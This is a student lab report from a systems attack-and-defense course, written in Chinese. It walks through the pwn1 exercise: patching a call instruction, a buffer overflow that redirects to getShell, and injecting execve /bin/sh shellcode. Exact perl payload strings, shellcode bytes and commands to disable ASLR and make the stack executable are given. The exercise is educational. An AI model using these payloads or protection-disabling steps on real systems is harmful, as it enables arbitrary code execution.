20232306劉博2025-2026-1《網絡與系統攻防技術》實驗一實驗報告
1.實驗內容
通過修改可執行文件,改變程序執行流程,跳轉到getShell函數。 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。 注入一個自己制作的shellcode并運行這段shellcode。 2.實驗過程
(一)直接修改程序機器指令,改變程序執行流程
登陸root,修改主機名為自己的學號。

將可執行文件pwn1傳輸到虛擬機中并運行該文件。


輸入objdump -d pwn1 | more找到getshell、foo、main函數

此時可以看到main函數調用foo,對應機器指令為“ e8 d7ffffff“,我們需要修改可執行文件,將其中的call指令的目標地址由d7變為c3,使main函數調用getshell。

輸入指令cp pwn1 pwn2復制一個文件并輸入vi pwn2進入到文件中。 輸入%!xxd切換顯示模式為16進制。 輸入/e8 d7找到要修改的內容,將d7改為c3。
輸入objdump -d pwn2| more查看修改結果并進行測試


如圖可知修改成功并且getshell成功運行。
(二)通過構造輸入參數,造成BOF攻擊,改變程序執行流
對pwn1進行反編譯

可以通過-0x1c看到存在28字節的緩沖區,call調用foo,返回地址為80484ba,我們需要覆蓋返回地址并替換為getshell的地址。

使用gdb pwn1調試程序,輸入1111111122222222333333334444444455555555。 輸入info r確認輸入字符串哪幾個字符會覆蓋到返回地址。

可以看到1234 那四個數最終會覆蓋到堆棧上的返回地址,因此只要把這四個字符替換為 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。


通過反編譯可以看到getshell的返回地址為0804847d。 通過perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括這樣字符串的一個文件。 輸入xxd input查看input文件的內容是否如預期。 通過(cat input; cat) | ./pwn1將input的輸入,通過管道符“|”,作為pwn1的輸入。

(三)注入Shellcode并執行

execstack -s pwn1設置堆棧可執行 execstack -q pwn1查詢文件的堆棧是否可執行 echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化 more /proc/sys/kernel/randomize_va_space驗證地址隨機化是否關閉
輸入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 輸入(cat input_shellcode;cat) | ./pwn1將input_shellcode的輸入內容作為pwn1的輸入 打開新終端,輸入ps -ef | grep pwn1查看進程


可以知道pwn1的進程是110585。
啟用gdb調試程序,輸入disassemble foo反編譯foo函數并進行分析。 輸入break *0x080484ae設置斷點。 在另一個終端輸入命令c并在次終端按一下回車。 輸入info r esp查看棧頂指針所在位置,當前ESP值為0xffffcfbc。

使用\xf0\xcf\xff\xff替換原占位符 \x01\x02\x03\x04,構造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode 輸入(cat input_shellcode; cat) | ./pwn1,執行ls命令

3.問題及解決方案
問題一:下載不了execstack 解決方案:
反正目的是查詢棧堆,在實在無法下載的情況下,我選擇直接查詢

問題二:在進行啟用gdb調試程序,輸入disassemble foo反編譯foo函數并進行分析時,總是找不到01020304最后發現是在兩個終端輸入回車和c的順序出現錯誤。
4.學習感悟
本次的實驗對我來說有一定的難度,雖然實驗指導書較為詳細,但是在環境配置方面有很多可能只有少數人存在的問題被我遇見,所以我廣泛查詢博客園和AI,最終成功完成實驗。

浙公網安備 33010602011771號